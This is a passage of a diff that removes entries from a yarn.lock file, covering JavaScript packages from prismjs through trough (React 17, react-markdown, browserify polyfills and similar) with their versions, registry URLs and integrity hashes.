- source-map "^0.6.1" - supports-color "^6.1.0" - -prismjs@^1.22.0, prismjs@~1.23.0: - version "1.23.0" - resolved "https://registry.yarnpkg.com/prismjs/-/prismjs-1.23.0.tgz#d3b3967f7d72440690497652a9d40ff046067f33" - integrity sha512-c29LVsqOaLbBHuIbsTxaKENh1N2EQBOHaWv7gkHN4dgRbxSREqDnDbtFJYdpPauS4YCplMSNCABQ6Eeor69bAA== - optionalDependencies: - clipboard "^2.0.0" - -process-nextick-args@~2.0.0: - version "2.0.1" - resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2" - integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag== - -process@0.11.10, process@^0.11.10: - version "0.11.10" - resolved "https://registry.yarnpkg.com/process/-/process-0.11.10.tgz#7332300e840161bda3e69a1d1d91a7d4bc16f182" - integrity sha1-czIwDoQBYb2j5podHZGn1LwW8YI= - -prop-types@15.7.2, prop-types@^15.6.2, prop-types@^15.7.2: - version "15.7.2" - resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.7.2.tgz#52c41e75b8c87e72b9d9360e0206b99dcbffa6c5" - integrity sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ== - dependencies: - loose-envify "^1.4.0" - object-assign "^4.1.1" - react-is "^16.8.1" - -property-information@^5.0.0, property-information@^5.3.0: - version "5.6.0" - resolved "https://registry.yarnpkg.com/property-information/-/property-information-5.6.0.tgz#61675545fb23002f245c6540ec46077d4da3ed69" - integrity sha512-YUHSPk+A30YPv+0Qf8i9Mbfe/C0hdPXk1s1jPVToV8pk8BQtpw10ct89Eo7OWkutrwqvT0eicAxlOg3dOAu8JA== - dependencies: - xtend "^4.0.0" - -public-encrypt@^4.0.0: - version "4.0.3" - resolved "https://registry.yarnpkg.com/public-encrypt/-/public-encrypt-4.0.3.tgz#4fcc9d77a07e48ba7527e7cbe0de33d0701331e0" - integrity sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q== - dependencies: - bn.js "^4.1.0" - browserify-rsa "^4.0.0" - create-hash "^1.1.0" - parse-asn1 "^5.0.0" - randombytes "^2.0.1" - safe-buffer "^5.1.2" - -punycode@1.3.2: - version "1.3.2" - resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.3.2.tgz#9653a036fb7c1ee42342f2325cceefea3926c48d" - integrity sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0= - -punycode@^1.2.4: - version "1.4.1" - resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e" - integrity sha1-wNWmOycYgArY4esPpSachN1BhF4= - -punycode@^2.1.0: - version "2.1.1" - resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec" - integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A== - -querystring-es3@^0.2.0: - version "0.2.1" - resolved "https://registry.yarnpkg.com/querystring-es3/-/querystring-es3-0.2.1.tgz#9ec61f79049875707d69414596fd907a4d711e73" - integrity sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM= - -querystring@0.2.0: - version "0.2.0" - resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.0.tgz#b209849203bb25df820da756e747005878521620" - integrity sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA= - -querystring@^0.2.0: - version "0.2.1" - resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.1.tgz#40d77615bb09d16902a85c3e38aa8b5ed761c2dd" - integrity sha512-wkvS7mL/JMugcup3/rMitHmd9ecIGd2lhFhK9N3UUQ450h66d1r3Y9nvXzQAW1Lq+wyx61k/1pfKS5KuKiyEbg== - -randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5: - version "2.1.0" - resolved "https://registry.yarnpkg.com/randombytes/-/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a" - integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ== - dependencies: - safe-buffer "^5.1.0" - -randomfill@^1.0.3: - version "1.0.4" - resolved "https://registry.yarnpkg.com/randomfill/-/randomfill-1.0.4.tgz#c92196fc86ab42be983f1bf31778224931d61458" - integrity sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw== - dependencies: - randombytes "^2.0.5" - safe-buffer "^5.1.0" - -raw-body@2.4.1: - version "2.4.1" - resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.4.1.tgz#30ac82f98bb5ae8c152e67149dac8d55153b168c" - integrity sha512-9WmIKF6mkvA0SLmA2Knm9+qj89e+j1zqgyn8aXGd7+nAduPoqgI9lO57SAZNn/Byzo5P7JhXTyg9PzaJbH73bA== - dependencies: - bytes "3.1.0" - http-errors "1.7.3" - iconv-lite "0.4.24" - unpipe "1.0.0" - -react-dom@17.0.2: - version "17.0.2" - resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-17.0.2.tgz#ecffb6845e3ad8dbfcdc498f0d0a939736502c23" - integrity sha512-s4h96KtLDUQlsENhMn1ar8t2bEa+q/YAtj8pPPdIjPDGBDIVNsrD9aXNWqspUe6AzKCIG0C1HZZLqLV7qpOBGA== - dependencies: - loose-envify "^1.1.0" - object-assign "^4.1.1" - scheduler "^0.20.2" - -react-is@16.13.1, react-is@^16.7.0, react-is@^16.8.1: - version "16.13.1" - resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4" - integrity sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ== - -"react-is@^16.8.0 || ^17.0.0", react-is@^17.0.0: - version "17.0.2" - resolved "https://registry.yarnpkg.com/react-is/-/react-is-17.0.2.tgz#e691d4a8e9c789365655539ab372762b0efb54f0" - integrity sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w== - -react-markdown@^6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/react-markdown/-/react-markdown-6.0.0.tgz#e63cd32d095e864384d524986c44c34c919de517" - integrity sha512-MC+zljUJeoLb4RbDm/wRbfoQFEZGz4TDOt/wb4dEehdaJWxLMn/T2IgwhQy0VYhuPEd2fhd7iOayE8lmENU0FA== - dependencies: - "@types/hast" "^2.0.0" - "@types/unist" "^2.0.3" - comma-separated-tokens "^1.0.0" - prop-types "^15.7.2" - property-information "^5.0.0" - react-is "^17.0.0" - remark-parse "^9.0.0" - remark-rehype "^8.0.0" - space-separated-tokens "^1.1.0" - style-to-object "^0.3.0" - unified "^9.0.0" - unist-util-visit "^2.0.0" - -react-refresh@0.8.3: - version "0.8.3" - resolved "https://registry.yarnpkg.com/react-refresh/-/react-refresh-0.8.3.tgz#721d4657672d400c5e3c75d063c4a85fb2d5d68f" - integrity sha512-X8jZHc7nCMjaCqoU+V2I0cOhNW+QMBwSUkeXnTi8IPe6zaRWfn60ZzvFDZqWPfmSJfjub7dDW1SP0jaHWLu/hg== - -react-syntax-highlighter@^15.4.3: - version "15.4.3" - resolved "https://registry.yarnpkg.com/react-syntax-highlighter/-/react-syntax-highlighter-15.4.3.tgz#fffe3286677ac470b963b364916d16374996f3a6" - integrity sha512-TnhGgZKXr5o8a63uYdRTzeb8ijJOgRGe0qjrE0eK/gajtdyqnSO6LqB3vW16hHB0cFierYSoy/AOJw8z1Dui8g== - dependencies: - "@babel/runtime" "^7.3.1" - highlight.js "^10.4.1" - lowlight "^1.17.0" - prismjs "^1.22.0" - refractor "^3.2.0" - -react-transition-group@^4.4.0: - version "4.4.1" - resolved "https://registry.yarnpkg.com/react-transition-group/-/react-transition-group-4.4.1.tgz#63868f9325a38ea5ee9535d828327f85773345c9" - integrity sha512-Djqr7OQ2aPUiYurhPalTrVy9ddmFCCzwhqQmtN+J3+3DzLO209Fdr70QrN8Z3DsglWql6iY1lDWAfpFiBtuKGw== - dependencies: - "@babel/runtime" "^7.5.5" - dom-helpers "^5.0.1" - loose-envify "^1.4.0" - prop-types "^15.6.2" - -react@17.0.2: - version "17.0.2" - resolved "https://registry.yarnpkg.com/react/-/react-17.0.2.tgz#d0b5cc516d29eb3eee383f75b62864cfb6800037" - integrity sha512-gnhPt75i/dq/z3/6q/0asP78D0u592D5L1pd7M8P+dck6Fu/jJeL6iVVK23fptSUZj8Vjf++7wXA8UNclGQcbA== - dependencies: - loose-envify "^1.1.0" - object-assign "^4.1.1" - -readable-stream@^2.0.2, readable-stream@^2.3.3, readable-stream@^2.3.6: - version "2.3.7" - resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57" - integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw== - dependencies: - core-util-is "~1.0.0" - inherits "~2.0.3" - isarray "~1.0.0" - process-nextick-args "~2.0.0" - safe-buffer "~5.1.1" - string_decoder "~1.1.1" - util-deprecate "~1.0.1" - -readable-stream@^3.5.0, readable-stream@^3.6.0: - version "3.6.0" - resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.0.tgz#337bbda3adc0706bd3e024426a286d4b4b2c9198" - integrity sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA== - dependencies: - inherits "^2.0.3" - string_decoder "^1.1.1" - util-deprecate "^1.0.1" - -readdirp@~3.5.0: - version "3.5.0" - resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.5.0.tgz#9ba74c019b15d365278d2e91bb8c48d7b4d42c9e" - integrity sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ== - dependencies: - picomatch "^2.2.1" - -refractor@^3.2.0: - version "3.3.1" - resolved "https://registry.yarnpkg.com/refractor/-/refractor-3.3.1.tgz#ebbc04b427ea81dc25ad333f7f67a0b5f4f0be3a" - integrity sha512-vaN6R56kLMuBszHSWlwTpcZ8KTMG6aUCok4GrxYDT20UIOXxOc5o6oDc8tNTzSlH3m2sI+Eu9Jo2kVdDcUTWYw== - dependencies: - hastscript "^6.0.0" - parse-entities "^2.0.0" - prismjs "~1.23.0" - -regenerator-runtime@^0.13.4: - version "0.13.7" - resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.7.tgz#cac2dacc8a1ea675feaabaeb8ae833898ae46f55" - integrity sha512-a54FxoJDIr27pgf7IgeQGxmqUNYrcV338lf/6gH456HZ/PhX+5BcwHXG9ajESmwe6WRO0tAzRUrRmNONWgkrew== - -rehype-raw@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/rehype-raw/-/rehype-raw-5.1.0.tgz#66d5e8d7188ada2d31bc137bc19a1000cf2c6b7e" - integrity sha512-MDvHAb/5mUnif2R+0IPCYJU8WjHa9UzGtM/F4AVy5GixPlDZ1z3HacYy4xojDU+uBa+0X/3PIfyQI26/2ljJNA== - dependencies: - hast-util-raw "^6.1.0" - -remark-gfm@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/remark-gfm/-/remark-gfm-1.0.0.tgz#9213643001be3f277da6256464d56fd28c3b3c0d" - integrity sha512-KfexHJCiqvrdBZVbQ6RopMZGwaXz6wFJEfByIuEwGf0arvITHjiKKZ1dpXujjH9KZdm1//XJQwgfnJ3lmXaDPA== - dependencies: - mdast-util-gfm "^0.1.0" - micromark-extension-gfm "^0.3.0" - -remark-parse@^9.0.0: - version "9.0.0" - resolved "https://registry.yarnpkg.com/remark-parse/-/remark-parse-9.0.0.tgz#4d20a299665880e4f4af5d90b7c7b8a935853640" - integrity sha512-geKatMwSzEXKHuzBNU1z676sGcDcFoChMK38TgdHJNAYfFtsfHDQG7MoJAjs6sgYMqyLduCYWDIWZIxiPeafEw== - dependencies: - mdast-util-from-markdown "^0.8.0" - -remark-rehype@^8.0.0: - version "8.1.0" - resolved "https://registry.yarnpkg.com/remark-rehype/-/remark-rehype-8.1.0.tgz#610509a043484c1e697437fa5eb3fd992617c945" - integrity sha512-EbCu9kHgAxKmW1yEYjx3QafMyGY3q8noUbNUI5xyKbaFP89wbhDrKxyIQNukNYthzjNHZu6J7hwFg7hRm1svYA== - dependencies: - mdast-util-to-hast "^10.2.0" - -repeat-string@^1.0.0: - version "1.6.1" - resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637" - integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc= - -ripemd160@^2.0.0, ripemd160@^2.0.1: - version "2.0.2" - resolved "https://registry.yarnpkg.com/ripemd160/-/ripemd160-2.0.2.tgz#a1c1a6f624751577ba5d07914cbc92850585890c" - integrity sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA== - dependencies: - hash-base "^3.0.0" - inherits "^2.0.1" - -safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@^5.2.0, safe-buffer@~5.2.0: - version "5.2.1" - resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6" - integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ== - -safe-buffer@~5.1.0, safe-buffer@~5.1.1: - version "5.1.2" - resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d" - integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g== - -"safer-buffer@>= 2.1.2 < 3", safer-buffer@^2.1.0: - version "2.1.2" - resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a" - integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg== - -scheduler@^0.20.2: - version "0.20.2" - resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.20.2.tgz#4baee39436e34aa93b4874bddcbf0fe8b8b50e91" - integrity sha512-2eWfGgAqqWFGqtdMmcL5zCMK1U8KlXv8SQFGglL3CEtd0aDVDWgeF/YoCmvln55m5zSk3J/20hTaSBeSObsQDQ== - dependencies: - loose-envify "^1.1.0" - object-assign "^4.1.1" - -select@^1.1.2: - version "1.1.2" - resolved "https://registry.yarnpkg.com/select/-/select-1.1.2.tgz#0e7350acdec80b1108528786ec1d4418d11b396d" - integrity sha1-DnNQrN7ICxEIUoeG7B1EGNEbOW0= - -semver@^6.0.0: - version "6.3.0" - resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.0.tgz#ee0a64c8af5e8ceea67687b133761e1becbd1d3d" - integrity sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw== - -setimmediate@^1.0.4: - version "1.0.5" - resolved "https://registry.yarnpkg.com/setimmediate/-/setimmediate-1.0.5.tgz#290cbb232e306942d7d7ea9b83732ab7856f8285" - integrity sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU= - -setprototypeof@1.1.1: - version "1.1.1" - resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.1.tgz#7e95acb24aa92f5885e0abef5ba131330d4ae683" - integrity sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw== - -sha.js@^2.4.0, sha.js@^2.4.8: - version "2.4.11" - resolved "https://registry.yarnpkg.com/sha.js/-/sha.js-2.4.11.tgz#37a5cf0b81ecbc6943de109ba2960d1b26584ae7" - integrity sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ== - dependencies: - inherits "^2.0.1" - safe-buffer "^5.0.1" - -shell-quote@1.7.2: - version "1.7.2" - resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.7.2.tgz#67a7d02c76c9da24f99d20808fcaded0e0e04be2" - integrity sha512-mRz/m/JVscCrkMyPqHc/bczi3OQHkLTqXHEFu0zDhK/qfv3UcOA4SVmRCLmos4bhjr9ekVQubj/R7waKapmiQg== - -source-map@0.7.3: - version "0.7.3" - resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.7.3.tgz#5302f8169031735226544092e64981f751750383" - integrity sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ== - -source-map@0.8.0-beta.0: - version "0.8.0-beta.0" - resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.8.0-beta.0.tgz#d4c1bb42c3f7ee925f005927ba10709e0d1d1f11" - integrity sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA== - dependencies: - whatwg-url "^7.0.0" - -source-map@^0.6.1: - version "0.6.1" - resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263" - integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g== - -space-separated-tokens@^1.0.0, space-separated-tokens@^1.1.0: - version "1.1.5" - resolved "https://registry.yarnpkg.com/space-separated-tokens/-/space-separated-tokens-1.1.5.tgz#85f32c3d10d9682007e917414ddc5c26d1aa6899" - integrity sha512-q/JSVd1Lptzhf5bkYm4ob4iWPjx0KiRe3sRFBNrVqbJkFaBm5vbbowy1mymoPNLRa52+oadOhJ+K49wsSeSjTA== - -stacktrace-parser@0.1.10: - version "0.1.10" - resolved "https://registry.yarnpkg.com/stacktrace-parser/-/stacktrace-parser-0.1.10.tgz#29fb0cae4e0d0b85155879402857a1639eb6051a" - integrity sha512-KJP1OCML99+8fhOHxwwzyWrlUuVX5GQ0ZpJTd1DFXhdkrvg1szxfHhawXUZ3g9TkXORQd4/WG68jMlQZ2p8wlg== - dependencies: - type-fest "^0.7.1" - -"statuses@>= 1.5.0 < 2": - version "1.5.0" - resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c" - integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow= - -stream-browserify@3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/stream-browserify/-/stream-browserify-3.0.0.tgz#22b0a2850cdf6503e73085da1fc7b7d0c2122f2f" - integrity sha512-H73RAHsVBapbim0tU2JwwOiXUj+fikfiaoYAKHF3VJfA0pe2BCzkhAHBlLG6REzE+2WNZcxOXjK7lkso+9euLA== - dependencies: - inherits "~2.0.4" - readable-stream "^3.5.0" - -stream-browserify@^2.0.1: - version "2.0.2" - resolved "https://registry.yarnpkg.com/stream-browserify/-/stream-browserify-2.0.2.tgz#87521d38a44aa7ee91ce1cd2a47df0cb49dd660b" - integrity sha512-nX6hmklHs/gr2FuxYDltq8fJA1GDlxKQCz8O/IM4atRqBH8OORmBNgfvW5gG10GT/qQ9u0CzIvr2X5Pkt6ntqg== - dependencies: - inherits "~2.0.1" - readable-stream "^2.0.2" - -stream-http@^2.7.2: - version "2.8.3" - resolved "https://registry.yarnpkg.com/stream-http/-/stream-http-2.8.3.tgz#b2d242469288a5a27ec4fe8933acf623de6514fc" - integrity sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw== - dependencies: - builtin-status-codes "^3.0.0" - inherits "^2.0.1" - readable-stream "^2.3.6" - to-arraybuffer "^1.0.0" - xtend "^4.0.0" - -stream-parser@^0.3.1: - version "0.3.1" - resolved "https://registry.yarnpkg.com/stream-parser/-/stream-parser-0.3.1.tgz#1618548694420021a1182ff0af1911c129761773" - integrity sha1-FhhUhpRCACGhGC/wrxkRwSl2F3M= - dependencies: - debug "2" - -string-hash@1.1.3: - version "1.1.3" - resolved "https://registry.yarnpkg.com/string-hash/-/string-hash-1.1.3.tgz#e8aafc0ac1855b4666929ed7dd1275df5d6c811b" - integrity sha1-6Kr8CsGFW0Zmkp7X3RJ1311sgRs= - -string_decoder@^1.0.0, string_decoder@^1.1.1: - version "1.3.0" - resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e" - integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA== - dependencies: - safe-buffer "~5.2.0" - -string_decoder@~1.1.1: - version "1.1.1" - resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8" - integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg== - dependencies: - safe-buffer "~5.1.0" - -strip-ansi@6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.0.tgz#0b1571dd7669ccd4f3e06e14ef1eed26225ae532" - integrity sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w== - dependencies: - ansi-regex "^5.0.0" - -style-to-object@^0.3.0: - version "0.3.0" - resolved "https://registry.yarnpkg.com/style-to-object/-/style-to-object-0.3.0.tgz#b1b790d205991cc783801967214979ee19a76e46" - integrity sha512-CzFnRRXhzWIdItT3OmF8SQfWyahHhjq3HwcMNCNLn+N7klOOqPjMeG/4JSu77D7ypZdGvSzvkrbyeTMizz2VrA== - dependencies: - inline-style-parser "0.1.1" - -styled-jsx@3.3.2: - version "3.3.2" - resolved "https://registry.yarnpkg.com/styled-jsx/-/styled-jsx-3.3.2.tgz#2474601a26670a6049fb4d3f94bd91695b3ce018" - integrity sha512-daAkGd5mqhbBhLd6jYAjYBa9LpxYCzsgo/f6qzPdFxVB8yoGbhxvzQgkC0pfmCVvW3JuAEBn0UzFLBfkHVZG1g== - dependencies: - "@babel/types" "7.8.3" - babel-plugin-syntax-jsx "6.18.0" - convert-source-map "1.7.0" - loader-utils "1.2.3" - source-map "0.7.3" - string-hash "1.1.3" - stylis "3.5.4" - stylis-rule-sheet "0.0.10" - -stylis-rule-sheet@0.0.10: - version "0.0.10" - resolved "https://registry.yarnpkg.com/stylis-rule-sheet/-/stylis-rule-sheet-0.0.10.tgz#44e64a2b076643f4b52e5ff71efc04d8c3c4a430" - integrity sha512-nTbZoaqoBnmK+ptANthb10ZRZOGC+EmTLLUxeYIuHNkEKcmKgXX1XWKkUBT2Ac4es3NybooPe0SmvKdhKJZAuw== - -stylis@3.5.4: - version "3.5.4" - resolved "https://registry.yarnpkg.com/stylis/-/stylis-3.5.4.tgz#f665f25f5e299cf3d64654ab949a57c768b73fbe" - integrity sha512-8/3pSmthWM7lsPBKv7NXkzn2Uc9W7NotcwGNpJaa3k7WMM1XDCA4MgT5k/8BIexd5ydZdboXtU90XH9Ec4Bv/Q== - -supports-color@^5.3.0: - version "5.5.0" - resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f" - integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow== - dependencies: - has-flag "^3.0.0" - -supports-color@^6.1.0: - version "6.1.0" - resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-6.1.0.tgz#0764abc69c63d5ac842dd4867e8d025e880df8f3" - integrity sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ== - dependencies: - has-flag "^3.0.0" - -supports-color@^7.1.0: - version "7.2.0" - resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da" - integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw== - dependencies: - has-flag "^4.0.0" - -symbol-observable@1.2.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/symbol-observable/-/symbol-observable-1.2.0.tgz#c22688aed4eab3cdc2dfeacbb561660560a00804" - integrity sha512-e900nM8RRtGhlV36KGEU9k65K3mPb1WV70OdjfxlG2EAuM1noi/E/BaW/uMhL7bPEssK8QV57vN3esixjUvcXQ== - -timers-browserify@^2.0.4: - version "2.0.12" - resolved "https://registry.yarnpkg.com/timers-browserify/-/timers-browserify-2.0.12.tgz#44a45c11fbf407f34f97bccd1577c652361b00ee" - integrity sha512-9phl76Cqm6FhSX9Xe1ZUAMLtm1BLkKj2Qd5ApyWkXzsMRaA7dgr81kf4wJmQf/hAvg8EEyJxDo3du/0KlhPiKQ== - dependencies: - setimmediate "^1.0.4" - -tiny-emitter@^2.0.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/tiny-emitter/-/tiny-emitter-2.1.0.tgz#1d1a56edfc51c43e863cbb5382a72330e3555423" - integrity sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q== - -tiny-warning@^1.0.2: - version "1.0.3" - resolved "https://registry.yarnpkg.com/tiny-warning/-/tiny-warning-1.0.3.tgz#94a30db453df4c643d0fd566060d60a875d84754" - integrity sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA== - -to-arraybuffer@^1.0.0: - version "1.0.1" - resolved "https://registry.yarnpkg.com/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz#7d229b1fcc637e466ca081180836a7aabff83f43" - integrity sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M= - -to-fast-properties@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/to-fast-properties/-/to-fast-properties-2.0.0.tgz#dc5e698cbd079265bc73e0377681a4e4e83f616e" - integrity sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4= - -to-regex-range@^5.0.1: - version "5.0.1" - resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4" - integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ== - dependencies: - is-number "^7.0.0" - -toidentifier@1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.0.tgz#7e1be3470f1e77948bc43d94a3c8f4d7752ba553" - integrity sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw== - -tr46@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/tr46/-/tr46-1.0.1.tgz#a8b13fd6bfd2489519674ccde55ba3693b706d09" - integrity sha1-qLE/1r/SSJUZZ0zN5VujaTtwbQk= - dependencies: - punycode "^2.1.0" - -trough@^1.0.0: - version "1.0.5" - resolved "https://registry.yarnpkg.com/trough/-/trough-1.0.5.tgz#b8b639cefad7d0bb2abd37d433ff8293efa5f406" - integrity sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA== - 